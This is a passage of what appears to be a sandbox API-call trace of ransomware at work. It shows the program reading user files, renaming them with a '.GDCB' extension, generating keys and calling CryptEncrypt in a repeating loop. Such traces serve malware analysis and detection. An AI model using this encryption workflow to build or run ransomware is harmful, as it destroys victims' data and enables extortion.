data\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\microsoft.skypeapp_3.2.1.0_x86__kzf8qxf38zg5c\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Microsoft.SkypeApp_3.2.1.0_x86__kzf8qxf38zg5c\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\microsoft.skypeapp_3.2.1.0_x86__kzf8qxf38zg5c\\activationstore\\activationstore.dat.gdcb")) returned 1 [0292.875] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.879] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.881] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.881] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0292.881] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.882] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0292.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.887] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.888] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0292.888] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.888] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0292.890] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab530) returned 1 [0292.890] CryptGetKeyParam (in: hKey=0x67ab530, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.890] CryptEncrypt (in: hKey=0x67ab530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd600000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd600000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0292.891] GetLastError () returned 0x0 [0292.891] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.891] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.892] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab6b0) returned 1 [0292.893] CryptGetKeyParam (in: hKey=0x67ab6b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.893] CryptEncrypt (in: hKey=0x67ab6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd610000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd610000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0292.893] GetLastError () returned 0x0 [0292.893] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.893] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0292.894] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd620000 [0292.897] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd630000 [0292.900] ReadFile (in: hFile=0x504, lpBuffer=0xd630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd630000*, lpNumberOfBytesRead=0x285de08*=0x4219, lpOverlapped=0x0) returned 1 [0292.922] VirtualAlloc (lpAddress=0x0, dwSize=0x4220, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0292.929] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml.gdcb")) returned 1 [0292.932] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.936] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.939] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0292.939] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.939] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.942] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.945] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.945] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0292.945] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.945] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.947] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab0f0) returned 1 [0292.948] CryptGetKeyParam (in: hKey=0x67ab0f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.948] CryptEncrypt (in: hKey=0x67ab0f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd600000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd600000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0292.948] GetLastError () returned 0x0 [0292.948] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.948] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.951] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab3f0) returned 1 [0292.951] CryptGetKeyParam (in: hKey=0x67ab3f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.951] CryptEncrypt (in: hKey=0x67ab3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd610000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd610000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0292.951] GetLastError () returned 0x0 [0292.951] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0292.952] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd620000 [0292.956] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd630000 [0292.959] ReadFile (in: hFile=0x504, lpBuffer=0xd630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd630000*, lpNumberOfBytesRead=0x285de08*=0x41b4, lpOverlapped=0x0) returned 1 [0292.967] VirtualAlloc (lpAddress=0x0, dwSize=0x41c0, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0292.974] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml.gdcb")) returned 1 [0292.977] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0292.981] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.983] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.983] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0292.983] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0292.984] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0292.987] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.989] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.990] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0292.990] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.990] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0292.993] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab5f0) returned 1 [0292.993] CryptGetKeyParam (in: hKey=0x67ab5f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.993] CryptEncrypt (in: hKey=0x67ab5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd600000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd600000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0292.993] GetLastError () returned 0x0 [0292.993] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.993] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0292.995] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab470) returned 1 [0292.995] CryptGetKeyParam (in: hKey=0x67ab470, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0292.995] CryptEncrypt (in: hKey=0x67ab470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd610000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd610000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0292.995] GetLastError () returned 0x0 [0292.995] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.995] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0292.997] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd620000 [0293.000] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd630000 [0293.003] ReadFile (in: hFile=0x504, lpBuffer=0xd630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd630000*, lpNumberOfBytesRead=0x285de08*=0x5a8c, lpOverlapped=0x0) returned 1 [0293.028] VirtualAlloc (lpAddress=0x0, dwSize=0x5a90, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0293.035] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml.gdcb")) returned 1 [0293.038] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0293.041] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.044] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.044] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.045] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.045] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.048] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.050] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.050] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.050] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.051] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.053] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab170) returned 1 [0293.053] CryptGetKeyParam (in: hKey=0x67ab170, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.053] CryptEncrypt (in: hKey=0x67ab170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd600000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd600000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.053] GetLastError () returned 0x0 [0293.053] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.053] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0293.055] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab430) returned 1 [0293.056] CryptGetKeyParam (in: hKey=0x67ab430, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.056] CryptEncrypt (in: hKey=0x67ab430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd610000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd610000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.056] GetLastError () returned 0x0 [0293.056] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.056] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0293.057] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd620000 [0293.066] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd630000 [0293.070] ReadFile (in: hFile=0x504, lpBuffer=0xd630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd630000*, lpNumberOfBytesRead=0x285de08*=0x475c, lpOverlapped=0x0) returned 1 [0293.081] VirtualAlloc (lpAddress=0x0, dwSize=0x4760, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0293.088] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml.gdcb")) returned 1 [0293.091] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.095] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.097] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.098] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.101] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.104] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.104] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.104] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0293.107] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab130) returned 1 [0293.107] CryptGetKeyParam (in: hKey=0x67ab130, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.107] CryptEncrypt (in: hKey=0x67ab130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd600000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd600000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.108] GetLastError () returned 0x0 [0293.108] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.108] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.110] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab7b0) returned 1 [0293.110] CryptGetKeyParam (in: hKey=0x67ab7b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.110] CryptEncrypt (in: hKey=0x67ab7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd610000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd610000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.110] GetLastError () returned 0x0 [0293.110] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.110] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0293.111] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd620000 [0293.116] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd630000 [0293.119] ReadFile (in: hFile=0x504, lpBuffer=0xd630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd630000*, lpNumberOfBytesRead=0x285de08*=0x4bb9, lpOverlapped=0x0) returned 1 [0293.143] VirtualAlloc (lpAddress=0x0, 